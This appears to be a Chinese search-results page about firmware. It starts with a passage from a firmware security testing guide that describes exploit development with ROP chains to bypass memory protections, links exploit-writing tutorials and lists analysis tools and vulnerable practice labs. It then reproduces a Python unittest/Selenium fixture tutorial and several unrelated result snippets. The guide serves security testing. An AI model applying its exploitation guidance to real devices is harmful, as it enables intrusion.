
    · Ghidra

    · Binary Ninja

    · Hopper

    0x09 漏洞利用

    在从之前的步骤中识别出文件中的漏洞之后,需要适当的概念验证(PoC)来证明现实的影响和风险。开发漏洞利用代码需要具有较低级语言(例如ASM,C / C ++,shellcode等)的编程经验,以及特定目标体系结构(例如MIPS,ARM,x86等)中的背景知识,PoC代码涉及通过控制内存中的指令在设备或应用程序上获得任意执行。

    在嵌入式系统中通常不存在二进制运行时保护(例如NX,DEP,ASLR等),需要ROP技术来绕过。ROP允许攻击者通过链接目标进程/二进制代码(称为gadget)中的现有代码来实施任意恶意功能,需要采取步骤来利用已识别的漏洞,例如通过形成ROP链来利用缓冲区溢出漏洞。

    可以使用Capstone的gadget查找器或ROPGadget- · https://github.com/JonathanSalwan/ROPgadget

    · https://azeria-labs.com/writing-arm-shellcode/

    · https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/

    0x10 固件分析工具

    下面列出的是常用工具:

    · 固件分析比较工具包(FACT)

    · FWanalyzer

    · Firmwalker

    · firmware-mod-kit

    · Firmadyne

    · ByteSweep

    · Binwalk

    · FLASHROM

    · openocd

    · angr

    · binaryanalysis

    · Checksec.sh

    · CHIPSEC

    · qilingframework模拟框架

    · triton框架

    0x11  固件靶机

    用于练习的固件漏洞项目

    · OWASP IoTGoat

    · https://github.com/OWASP/IoTGoat

    · 漏洞路由器固件靶机

    · https://github.com/praetorian-code/DVRF

    · 漏洞ARM路由器(DVAR)

    · https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html

    · ARM-X

    · https://github.com/therealsaumil/armx#downloads

    · Azeria Labs VM 2.0

    · https://azeria-labs.com/lab-vm-2-0/

    展开全文
  • 2- 测试固件

    2019-09-28 12:44:13
    测试固件分为两种情况,一种是每执行一个用例的时候,测试固件都会被执行到。一种是不管有多少测试用例,测试固件只执行一次。 1.测试固件每次均执行 unittest单元测试框架提供了setUp和teardown的测试固件。...

    测试固件分为两种情况,一种是每执行一个用例的时候,测试固件都会被执行到。一种是不管有多少测试用例,测试固件只执行一次。

     

    1.测试固件每次均执行

    unittest单元测试框架提供了setUp和teardown的测试固件。执行方式如下:

    import unittest
    class BaiduTest(unittest.TestCase):
        def setUp(self):
            print('start')
        def tearDown(self):
            print('end')
        def test_baidu_so(self):
            print('测试用例执行')
    if __name__ == '__main__':
        unittest.main(verbosity=2)

    例子:

    from  selenium import webdriver
    import unittest
    
    class BaiduTest(unittest.TestCase):
        def setUp(self):
            self.driver = webdriver.Chrome()
            self.driver.maximize_window()
            self.driver.get('http://www.baidu.com')
            self.driver.implicitly_wait(30)
    
        def tearDown(self):
             self.driver.quit()
    
        def test_baidu_news(self):
            self.driver.find_element_by_link_text('').click()
    
        def test_baid_taps(self):
            self.driver.find_element_by_link_text('地图').click()
    
    if __name__ == '__main__':
        unittest.main(verbosity=2)

    2.测试固件只执行一次

    import unittest
    class UiTest(unittest.TestCase):
        @classmethod
        def setUpClass(cls):
            print('start')
    
        @classmethod
        def tearDownClass(cls):
            print('end')
    
        def test_001(self):
            print("第一个测试用例")
        def test_002(self):
            print("第二个测试用例")
    
    if __name__ == '__main__':
        unittest.main(verbosity=2)

    例子:

    from selenium import webdriver
    import unittest
    class UiTest(unittest.TestCase):
        @classmethod
        def setUpClass(cls):
            cls.driver = webdriver.Chrome()
            cls.driver.maximize_window()
            cls.driver.get('http://www.baidu.com')
            cls.driver.implicitly_wait(30)
    
        @classmethod
        def tearDownClass(cls):
            cls.driver.quit()
    
        def test_001(self):
            self.driver.find_element_by_link_text("新闻").click()
            self.driver.get("http://www.baidu.com")
    
    
        def test_002(self):
            self.driver.find_element_by_link_text("地图").click()
            self.driver.get("http://www.baidu.com")
            
    
    if __name__ == '__main__':
        unittest.main()

     

     

    转载于:https://www.cnblogs.com/Chamberlain/p/11374712.html

    展开全文
  • unittest提供了创建测试用例、测试固件测试套件、批量执行测试用例的方案 下面我们来介绍一下unittest的测试固件的2种用法 1. 首先我们用打开bing搜索演示测试固件的每次都执行 unittest提供了set...
  • 内含ESP8266开发板烧录AT固件说明,ESP8266下载程序说明 其中烧录AT固件说明文件中包含ESP8266AT固件,以及烧录工具,和烧录完整版视频,以及PDF手册 部分内容如下: 一、 材料准备 烧录工具: FLASH_DOWNLOAD_...
  • 一、使用装饰器pytest.fixture(),定义测试固件(test fixture)。 1、实现setup_xxx的功能 import pytest # 函数名自定义 # 此时,login函数是一个测试固件,相对于实现了setup_xxx的功能。 @pytest.fixture()...
  • 一个简单易用的SAS硬盘维修测试工具,只支持LSI的SAS卡 支持32位64位位WIN7 ,WIN10系统,支持查看及收集保存SAS硬盘SN,WWN,型号,SN号,支持升级下载硬盘固件,支持低级格式化硬盘,支持修改硬盘扇区。
  • 测试用例中通过setUp()、tearDown()创建测试固件,只能使这个测试固件在单个测试用例的不同测试方法中共用,如果有多个测试用例都需要使用相同的测试固件,就需要将测试固件抽取到一个独立的类中。JBuilder提供了3...
  • 做项目时涉及到的一个双驱伺服电机驱动板固件,全开源的
  • Q5_4.4.2_完美Root_江苏移动_V20170613.26_胡莱先生
  • NW788 编程器固件测试
  • OWASP固件安全测试

    千次阅读 2020-05-21 20:41:17
    获取有关目标设备固件的所有相关技术文档的详细信息 2.获取固件 使用列出的一种或多种建议的方法获得固件 3.分析固件 检查目标固件的特征 4.提取文件系统 ...
  • 3D打印资料-三角洲.rar

    2019-08-23 08:46:02
    Arduino的3D打印机,包含芯片资料、固件代码、某宝可以买材料,自己组装
  • NFC测试方案介绍

    2014-12-12 17:01:55
    NFC背景介绍,应用,工作模式和传输技术,测试方案
  • 这个资源是在博客中需要用到的测试固件,用于ESP8266(小黄板)一段式程序烧写的
  • 总体来说,汇顶科技的固件开发工程师的笔试卷并不算难,中规中矩的一份试卷。试卷12条单选题、2条多选题、2条填空题、1条编程题、3条简答题。题目从考察的知识点上来讲,C语言基础(没有C++)、单片机基础为主,也...
  • NFC固件更新自动化压力测试脚本

    千次阅读 2014-02-23 23:08:04
    @echo off if {%1}=={} goto Usage if {%2}=={} goto Usage set times=0 echo ---------------------Start NFC Firmware Update----------------------- :UPDATE_8.1.11 echo ############################8.1
  • nudemcu相关工具和固件测试稳定,比较适合入门的新手!
  • 我们基于FSTM进行测试流程如下: ID 阶段 描述 1 信息收集 固件的相关技术文档的详细使用说明 2 获取固件 使用本文中介绍的多种办法获取固件 3 分析固件 固件的功能、特性 4 提取文件系统 从固件中...
  • 已经测试是原厂最新2.5版本固件,刷机需保持配置勾取消,可在线刷。

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 30,195
精华内容 12,078
关键字:

固件测试